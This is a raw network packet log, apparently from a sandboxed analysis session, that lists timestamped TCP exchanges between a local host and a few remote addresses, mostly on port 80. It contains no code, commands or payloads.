Nov 23, 2024 21:59:46.865734100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.866286039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.866504908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.867038965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.867091894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.867110968 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.867127895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.867170095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.867924929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.867988110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.868036032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.868079901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.868638992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.868686914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.868758917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.868805885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.869410038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.869450092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.869710922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.869815111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.870277882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.870326996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.871073008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.871084929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.871140003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.931649923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.931752920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.931963921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.932013035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.932061911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.932074070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.932111025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.932816982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.932862043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.933679104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.933692932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.933720112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.933742046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.933759928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.933798075 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.934427023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.934479952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.934545994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.934586048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.935127974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.935170889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.935482025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.935527086 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.936031103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.936085939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.936750889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.936858892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.936870098 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.936871052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.936906099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.937700033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.937712908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.937747955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.938278913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.938330889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.939106941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.939120054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.939131975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.939150095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.939174891 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.940047026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.940104961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.940181971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.940323114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.940849066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.940913916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.941240072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.941303968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.941526890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.941590071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.942229033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.942240000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.942274094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.942337036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.942467928 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.943080902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.943093061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.943140984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.943758965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.943871975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.943998098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.944046021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.944546938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.944730043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.944746971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.944853067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.945303917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.945352077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.946175098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.946187019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.946223021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.946259975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.946332932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.946913958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.946966887 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.947091103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.947144985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.948218107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.948357105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.948422909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.948506117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.948733091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.948745012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.948782921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.949261904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.949306965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.949949980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.949995995 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.950037956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.950050116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.950097084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.950845003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.950890064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.951054096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.951174974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.951598883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.951642036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.951778889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.951869965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.952450037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.952558994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.952972889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.953017950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.953187943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.953201056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.953233957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.953977108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.953989983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.954025984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.966196060 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:46.966770887 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:46.966789961 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:46.967253923 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:46.967257977 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.024318933 CET	443	49897	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:47.024410009 CET	49897	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:47.025084972 CET	443	49897	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:47.025147915 CET	49897	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:47.028270006 CET	49897	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:47.028275967 CET	443	49897	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:47.028506041 CET	443	49897	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:47.028572083 CET	49897	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:47.028781891 CET	49897	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:47.063880920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.063960075 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.063990116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.064037085 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.064241886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.064295053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.064326048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.064378023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.065011024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.065066099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.065463066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.065511942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.065819025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.065896988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.066086054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.066186905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.066601038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.066739082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.067069054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.067166090 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.067372084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.067567110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.067635059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.068157911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.068226099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.068310976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.068368912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.068953991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.069005013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.069591999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.069760084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.069761038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.069808006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.069915056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.069958925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.070530891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.070574999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.070736885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.070784092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.071362972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.071409941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.071485043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.071528912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.072128057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.072171926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.072798014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.072840929 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.072931051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.072943926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.072978020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.073692083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.073735952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.073810101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.073857069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.074531078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.074632883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.074681997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.074729919 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.075237036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.075278997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.075325966 CET	443	49897	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:47.075365067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.075428963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.076030016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.076075077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.076811075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.076858044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.076945066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.076972961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.076997042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.077008963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.077579021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.077624083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.077995062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.078043938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.078392029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.078403950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.078475952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.079202890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.079258919 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.079602003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.079979897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.080040932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.080110073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.080449104 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.080708027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.080754042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.081392050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.081496000 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.081665039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.081780910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.095421076 CET	443	49891	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:47.095442057 CET	443	49891	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:47.095500946 CET	49891	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:47.095526934 CET	443	49891	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:47.095539093 CET	49891	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:47.095540047 CET	443	49891	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:47.095698118 CET	49891	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:47.097959042 CET	49891	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:47.097975969 CET	443	49891	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:47.152265072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.152348042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.152359009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.152512074 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.152631998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.152673006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.152867079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.153461933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.153475046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.153521061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.153534889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.154155016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.154270887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.154333115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.155072927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.155113935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.155132055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.155175924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.155718088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.155771017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.155930042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.155987978 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.156536102 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.156826019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.156887054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.157299995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.157352924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.157727957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.157780886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.158082008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.158305883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.158427000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.158471107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.158966064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.158977985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.159055948 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.159632921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.159703970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.160062075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.160114050 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.160450935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.160686016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.160877943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.160928011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.161201954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.161258936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.161425114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.161480904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.161988974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.162117958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.162178040 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.162755013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.162803888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.163058043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.163104057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.163542986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.163630009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.164197922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.164252996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.164330959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.164372921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.164814949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.164870024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.165143967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.165393114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.165524006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.165575981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.165942907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.166002989 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.166807890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.166830063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.166847944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.166893959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.166915894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.167526007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.167756081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.167813063 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.168302059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.168318987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.168351889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.168366909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.169054031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.169271946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.169344902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.169852018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.169899940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.169986010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.170031071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.170592070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.170643091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.170824051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.170866966 CET	49809	80	192.168.2.6	185.215.113.206
